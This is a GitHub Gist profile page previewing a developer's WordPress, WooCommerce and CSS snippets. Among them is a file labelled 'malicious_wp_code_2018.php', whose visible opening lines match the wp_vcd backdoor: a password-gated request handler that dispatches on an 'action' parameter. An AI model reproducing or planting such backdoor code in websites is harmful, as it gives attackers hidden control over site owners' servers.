Skip to content

Instantly share code, notes, and snippets.

💭
I may be slow to respond.

ᴀʀᴄʜɪᴇ ᴍᴀᴋᴜᴡᴀ™ Archie22is

View GitHub Profile
View updated.css
/** Archie CSS Fixes **/
#av_section_3 > div > div > div > div > strong > div.flex_column.av_one_half.flex_column_div.av-zero-column-padding.first.avia-builder-el-7.el_before_av_one_half.avia-builder-el-first > div.avia-image-container.av-styling-.avia-builder-el-11.el_after_av_heading.avia-builder-el-last.avia-align-center > div > div > img {
display: none !important;
}
/** Responsive Layout **/
@media screen and (max-width:767px) {
View malicious_wp_code_2018.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'df0a61f267edb957ea80ab4ff27ee71f'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@Archie22is
Archie22is / wc-custom-no-shipping-methods.php
Created Apr 23, 2018
[WooCommerce] Change the "no shipping methods available" message
View wc-custom-no-shipping-methods.php
<?php
add_filter( 'woocommerce_no_shipping_available_html', 'my_custom_no_shipping_message' );
add_filter( 'woocommerce_cart_no_shipping_available_html', 'my_custom_no_shipping_message' );
function my_custom_no_shipping_message( $message ) {
return __( 'your_custom_message_goes_here' );
}
@Archie22is
Archie22is / wp_mail.md
Created Feb 27, 2018 — forked from johnbillion/wp_mail.md
WordPress Emails
View wp_mail.md

WordPress Emails

This document lists all the situations where WordPress sends an email, along with how to filter or disable each email.

This is accurate as of WordPress 4.9.

There are a few TODOs left. Please bear with me.

@Archie22is
Archie22is / functions.php
Last active Feb 27, 2018
Adding custom tags to WPForms
View functions.php
/**
* WPForms Custom Smart Tags
* The following code will turn {my_smart_tag} into “Testing 1 2 3”.
* You can replace the tag name and value with whatever you’d like to use.
*
* @author Bill Erickson
* @see http://www.billerickson.net/code/wpforms-custom-smart-tags
*/
function ea_custom_smart_tags( $content, $tag ) {
if( 'you_password' == $tag ) {
@Archie22is
Archie22is / contact.php
Created Aug 10, 2017 — forked from libryder/contact.php
Super simple PHP contact form in one file
View contact.php
<html>
<head>
<title>Contact Us</title>
</head>
<body>
<?php
if ($_POST['message']) {
$message = $_POST['message'];
@Archie22is
Archie22is / get-video-thumbnail.php
Created Mar 17, 2017 — forked from secretstache/get-video-thumbnail.php
Get Video Thumbnail from Youtube or Vimeo
View get-video-thumbnail.php
<?php
/**
* Retrieves the thumbnail from a youtube or vimeo video
* @param - $src: the url of the "player"
* @return - string
* @todo - do some real world testing.
*
**/
function get_video_thumbnail( $src ) {
@Archie22is
Archie22is / wp_cleanup.php
Created Mar 14, 2017 — forked from sirtimid/wp_cleanup.php
Cleanup wordpress of unwanted dashboard widgets and injected styles
View wp_cleanup.php
<?php
// filter to remove TinyMCE emojis
if ( !function_exists( 'disable_emojicons_tinymce' ) ) {
function disable_emojicons_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
} else {
return array();
}
@Archie22is
Archie22is / whatever.css
Created Feb 14, 2017
CSS Background Image Blur without blurry edges
View whatever.css
.blurry-bg {
background-image:url('../images/your-image.png');
background-position: 30% 30%;
background-repeat: no-repeat !important;
background-size: cover !important;
position: relative;
height: 600px;
filter: blur(50px) !important;
-webkit-filter: blur(50px) !important;
@Archie22is
Archie22is / redirect-wp-post.php
Created Feb 7, 2017 — forked from Bobz-zg/redirect-wp-post.php
Redirects wordpress posts to new url: site.com/blog/post-name
View redirect-wp-post.php
<?php
/**
* Add new rewrite rule
*/
function create_new_url_querystring() {
add_rewrite_rule(
'blog/([^/]*)$',
'index.php?name=$matches[1]',
'top'
);
You can’t perform that action at this time.